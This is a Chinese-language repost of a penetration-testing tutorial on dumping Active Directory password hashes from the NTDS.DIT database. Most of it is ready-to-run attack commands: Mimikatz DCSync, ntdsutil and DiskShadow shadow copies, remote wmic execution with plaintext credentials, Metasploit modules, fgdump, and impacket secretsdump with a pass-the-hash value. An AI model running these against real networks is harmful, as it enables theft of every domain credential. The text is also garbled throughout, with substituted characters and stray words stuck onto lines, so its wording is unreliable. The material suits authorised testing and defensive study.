本文转自先知社区,原文连接:https://xz.aliyun.com/t/2527#toc-10node
原文地址:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashespython
<h1>在渗透测试的过程当中,当咱们已是域管权限时,就能够实现提取全部域内用户的密码哈希以进行离线破解和分析,这是很是常见的一个操做。这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其余信息,如组中成员身份和用户。</h1>git
NTDS.DIT
文件常常被操做系统使用,所以没法直接复制到其余位置以提取信息。能够在Windows如下位置找到此文件:github
C:\Windows\NTDS\NTDS.dit
可使用各类骚操做来提取此文件或存储在其中的信息,可是大多数状况下都使用如下方法之一:数据库
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。这样子解决了须要直接使用域控制器进行身份验证的须要,由于它能够从域管理员的上下文中得到执行权限。所以它是红队的基本操做,由于它不那么复杂。windows
lsadump::dcsync /domain:pentestlab.local /all /csv
ps:目录复制服务远程协议解释:目录复制服务远程协议是用于DC之间复制和AD管理的RPC协议。该协议由一个名为drsuapi的 RPC接口组成。 对于客户端与AD轻型目录服务(AD/LDS)域控制器创建RPC链接,它须要知道计算机的名称以及AD/LDS域控制器正在侦听的LDAP端口的编号。
首先,客户端创建与计算机上的端点映射器服务的链接。 接下来,客户端枚举为所需接口ID注册的全部端点。最后,客户端选择其注释等于所需AD/LDS域控制器的LDAP端口号的端点。 此协议适用于管理目录中的对象,以及目录服务的总体管理。
经过使用/user
参数指定域用户名,Mimikatz
能够dump此特定用户的全部账户信息,包括其密码哈希。sass
lsadump::dcsync /domain:pentestlab.local /user:test
或者直接在域控制器中执行Mimikatz,经过lsass.exe进程dump哈希。
privilege::debug lsadump::lsa /inject
将检索域内用户的密码哈希值。
PowerShell Empire
有两个模块,能够经过DCSync
攻击dump域内哈希值。这两个模块都须要以域管理员权限执行,而且目标机器正在使用Microsoft复制服务。这些模块依赖于Invoke-Mimikatz PowerShell
脚原本执行与DCSync
相关的Mimikatz
命令。如下模块将域内哈希值提取为相似于Metasploit hashdump
命令输出的格式。
usemodule credentials/mimikatz/dcsync_hashdump
用DCSync
模块dump全部的账户中指定的用户信息。
将得到如下信息:
Nishang是一个PowerShell
框架,它让redteam
和渗透测试人员可以对系统进行攻击性操做。Nishang中的VSS脚本能够用于自动提取所需的文件:NTDS.DIT,SAM和SYSTEM
。这些文件将被解压缩到当前工做目录或指定的任何其余文件夹中。
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\
或者,能够经过现有的Meterpreter会话加载PowerShell扩展来执行脚本。
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS
也可使用命令powershell_shell
直接创建PowerShell会话,以便在在现有的Meterpreter会话中导入脚本后提取文件。
Copy-VSS Copy-VSS -DestinationDir C:\Ninja
PowerSploit包含PowerShell脚本,该脚本利用卷复制服务建立可用于提取文件的新卷。
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy
或者,能够经过加载PowerShell扩展来从现有的Meterpreter会话执行它。
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy
Invoke–DCSync 是Nick Landers利用PowerView开发的powershell脚本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 调用Mimikatz的DCSync方法检索哈希值。
直接执行该函数将生成如下输出:
Invoke-DCSync
结果将格式化为四个表:Domain,User,RID和Hash。可是,使用参数-PWDumpFormat执行Invoke-DCSync将以如下格式检索哈希:
user:id:lm:ntlm ::: Invoke-DCSync -PWDumpFormat
经过从现有的Meterpreter会话运行脚本,能够实现相同的输出。
该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员可以访问和管理Windows Active Directory
数据库。可是,渗透测试人员和redteam能够用它来拍摄现有ntds.dit文件的快照,该文件能够复制到新位置以进行离线分析和密码哈希的提取。
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
将生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。
DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操做。最初bohops在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式,所以可使用一个脚本文件,它将包含自动执行NTDS.DIT提取过程所需的全部命令。脚本文件能够包含如下行,以便建立新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset
须要注意一点,DiskShadow
二进制文件须要从C:\Windows\System32
路径执行。若是从另外一个路径调用它,脚本将没法正确执行。
diskshadow.exe /s c:\diskshadow.txt
diskshadow
LIST SHADOWS ALL
SYSTEM
注册表配置单元也应该复制,由于它包含解密NTDS文件内容的密钥。
reg.exe save hklm\system c:\exfil\system.bak
Sean Metcalf在他的博客中证实了,能够经过WMI远程提取NTDS.DIT和SYSTEM文件。此技术使用vssadmin
二进制文件来建立卷的副本。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
而后,它远程执行复制命令,以便将卷影副本中的NTDS.DIT文件解压缩到目标系统上的另外一个目录中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
而后,解压缩的文件能够从域控制器传输到另外一个Windows系统,而后dump域内用户密码哈希值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
若是已生成金票据,则可使用它经过Kerberos与域控制器进行身份验证,而不是凭据。
卷影拷贝服务是Windows命令行实用的程序,使管理员能够备份计算机,卷和文件,即便它们正在被操做系统使用。卷影复制做为服务运行,并要求将文件系统格式化为NTFS,默认状况下全部现代操做系统都是如此。从Windows命令提示符执行如下操做将建立C:驱动器的快照,以便用户一般没法访问这些文件以将其复制到另外一个位置(本地文件夹,网络文件夹或可移动设备)。
vssadmin create shadow /for=C:
ps:
关于Volume Shadow Copy 服务:
它是管理及执行用于备份和其余目的的磁碟区卷影。若是这个服务被中止,卷影将没法用于备份,备份可能会失败。若是这个服务被停用,依存它的服务没法启动。
这一服务惟一的缺点是你须要为每个卷影留出更多的磁盘空间,由于你必须在某处存储这些拷贝。
它主要是用来备份数据库之类的数据,我的电脑确实通常用不上它。能够放心禁用!
因为C:驱动器中的全部文件都已复制到另外一个位置(HarddiskVolumeShadowCopy1),所以它们不会被操做系统直接使用,所以能够访问他而且复制到另外一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新建立文件夹中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
须要将这些文件从域控制器复制到另外一个主机以进行进一步处理。
与vssadmin程序相似,Tim Tomes开发了vssown,它是一个可视化的基本脚本,能够建立和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和中止卷影复制服务。
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
Metasploit框架有一个模块,它经过服务器消息块(SMB)服务直接与域控制器进行身份验证,建立系统驱动器的卷影副本,并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件能够与impacket等其余工具一块儿使用,这些工具能够进行 active directory
哈希密码的提取。
auxiliary/admin/smb/psexec_ntdsgrab
还有一个后渗透模块,能够连接到现有的Meterpreter会话,以便经过ntdsutil方法检索域哈希。
windows/gather/credentials/domain_hashdump
或者,若是已经拿到域控制器的现有Meterpreter会话,则可使用命令hashdump。可是,此方法不被认为是安全的,由于它可能会使域控崩掉。
hashdump
fgdump是一个比较老的可执行文件,可提取的LanMan和NTLM的密码哈希值。若是已获取本地管理员凭据,则能够在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,若是成功,则会将全部数据写入两个文件中。若是存在防病毒或端点解决方案,则不该该将fgdump用做dump密码哈希的方法以免检测,由于大多数防病毒公司(包括Microsoft的Windows Defender)都会对将它kill掉。
fgdump.exe
能够经过检查.pwdump文件的内容来get密码哈希值。
type 127.0.0.1.pwdump
Impacket是一组python脚本,可用于执行各类任务,包括提取NTDS文件的内容。impacket-secretsdump
模块须要系统和NTDS数据库文件.
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
此外,impacket能够经过使用计算机账户及其哈希进行身份验证而后从NTDS.DIT文件远程dump域内全部密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
做为impacket的替代解决方案,NTDSDumpEx二进制文件能够从Windows主机中提取域密码哈希值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
还有一个shell脚本adXtract,它能够将用户名和密码哈希导出为一种格式,可使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
该脚本将全部信息写入项目名称下的各类文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。该脚本将提供有关域用户的大量信息,以下所示。
密码哈希将如下列格式显示。